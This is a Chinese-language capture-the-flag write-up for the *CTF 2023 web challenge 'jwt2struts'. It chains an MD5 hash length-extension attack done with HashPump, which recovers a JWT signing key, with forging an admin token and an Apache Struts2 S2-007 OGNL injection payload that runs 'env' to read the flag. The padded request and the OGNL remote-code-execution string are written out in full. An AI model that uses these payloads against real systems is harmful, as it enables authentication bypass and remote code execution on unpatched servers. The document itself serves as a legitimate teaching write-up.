*CTF 2023 web jwt2struts 题解wp

jwt2struts

根据题目名字猜测,这题考察jwt和Struts2

*CTF 2023 web jwt2struts 题解wp_第1张图片

包里面果然有一个cookie

*CTF 2023 web jwt2struts 题解wp_第2张图片

验证了,是jwt eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJ1c2VyIiwiZXhwIjoyMDA2MjI1MjgxfQ.F7vOtdqg48M1DYK4tVZywTipIYDqKfsBSju7ekLSecU

*CTF 2023 web jwt2struts 题解wp_第3张图片

我们的目标应该是把user改成admin


首先,直接修改试试,结果是不行的。

再尝试一下爆破:

docker run -it --rm jwtcrack eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJ1c2VyIiwiZXhwIjoyMDA2MjI1MjgxfQ.F7vOtdqg48M1DYK4tVZywTipIYDqKfsBSju7ekLSecU

也是不行的,貌似没有非预期


返回包有个注释,是一个文件路由

*CTF 2023 web jwt2struts 题解wp_第4张图片

访问是PHP代码,绕过了就给key,有了key就能加解密JWT,然后伪造身份得到flag。

*CTF 2023 web jwt2struts 题解wp_第5张图片

首先就是要解出盐(salt)。。。。

仔细一看不用解盐,我们做到$username === "admin" && $password != "root"同时md5($salt.$username.$password)===$_COOKIE["digest"]就行了。

我们已知的有

盐的长度是14

md5($salt+“adminroot”)=e6ccbf12de9d33ec27a5bcfb6a3293df


对于这种未知salt,要绕过MD5/sha1加密,目前有一个很好的办法,就是hash长度拓展攻击

(1条消息) 实验吧-让我进去【salt加密 哈希长度拓展攻击】_实验吧 admins only_Sp4rkW的博客-CSDN博客

这题有个工具叫HashPump。kali中安装方法如下(root终端依次输入)

git clone https://github.com/bwall/HashPump
apt-get install g++ libssl-dev 
cd HashPump
make
make install

应用场景:md5("密文"+"已知字符串")=现有哈希值

文件夹下开终端(cd进去也可以),输入hashpump

Input Signature                    #现有哈希值(题目给的MD5)
Input Data                         #已知字符串
Input Key Length                   #为密文(salt)长度
Input Data to Add                  #为补位后自己加的字符串(自定义)

image-20230729174000742

可以看到返回给我们两行内容,第一行是处理过的哈希值,第二行是处理过的已知字符串。

满足:md5("密文"+"处理过的已知字符串")=处理过的哈希值

payload:(url加密就是把\x换成%)

Cookie:digest=8ae52974e81aace9837123a520cb8179
POST:username=admin&password=root%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%b8%00%00%00%00%00%00%00Jay

*CTF 2023 web jwt2struts 题解wp_第6张图片

做后尝试了一下,可以手撸出已知字符串的补位。

*CTF 2023 web jwt2struts 题解wp_第7张图片

所以JWT的密钥是sk-he00lctf3r,伪造JWT后进入新的界面。

*CTF 2023 web jwt2struts 题解wp_第8张图片

根据题目名字,猜测是Struts2。看特征+验证得到是S2-007

payload:(flag在环境变量里面)

' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('env').getInputStream())) + '

输入到age框里面,然后环境变量从age框返回。

*CTF 2023 web jwt2struts 题解wp_第9张图片

返回结果(其中有flag):

HOSTNAME=8256ab68db2aLANGUAGE=en_US:enJAVA_HOME=/opt/java/openjdkGPG_KEYS=05AB33110949707C93A279E3D3EFE6B686867BA6 07E48665A34DCAFAE522E5E6266191C37C037D42 47309207D818FFD8DCD3F83F1931D684307A10A5 541FBE7D8F78B25E055DDEE13C370389288584E7 5C3C5F3E314C866292F359A8F3AD5C94A67F707E 765908099ACF92702C7D949BFA0C35EA8AA299F1 79F7026C690BAA50B92CD8B66A3AD3F4F22C4FED 9BA44C2621385CB966EBA586F72C284D731FABEE A27677289986DB50844682F8ACB77FC2E86E29AC A9C5DF4D22E99998D9875A5110C01C5A2F6059E7 DCFD35E0BF8CA7344752DE8B6FB21E8933C60243 F3A04C595DB5B6A5F1ECA43E3B7BBB100D811BBE F7DA48BB64BCB84ECBA7EE6935CD23C10D498E23PWD=/usr/local/tomcatTOMCAT_SHA512=9e6770e9c9c3b630011c0f0e320b31bb0ea3700d52247a12d544ea25f9ee4d93613ad6ccb7939f97fb05e1760978a7547eccb16352d73fa28886134ba58f3f8cTOMCAT_MAJOR=8HOME=/rootLANG=en_US.UTF-8TOMCAT_NATIVE_LIBDIR=/usr/local/tomcat/native-jni-libFLAG=flag{7r0m_jwt_t0_struts2}CATALINA_HOME=/usr/local/tomcatSHLVL=0JDK_JAVA_OPTIONS= --add-opens=java.base/java.lang=ALL-UNNAMED --add-opens=java.base/java.io=ALL-UNNAMED --add-opens=java.base/java.util=ALL-UNNAMED --add-opens=java.base/java.util.concurrent=ALL-UNNAMED --add-opens=java.rmi/sun.rmi.transport=ALL-UNNAMEDLD_LIBRARY_PATH=/usr/local/tomcat/native-jni-libLC_ALL=en_US.UTF-8PATH=/usr/local/tomcat/bin:/opt/java/openjdk/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binTOMCAT_VERSION=8.5.91JAVA_VERSION=jdk8u372-b07

你可能感兴趣的:(CTF-web(零散wp合集),web安全)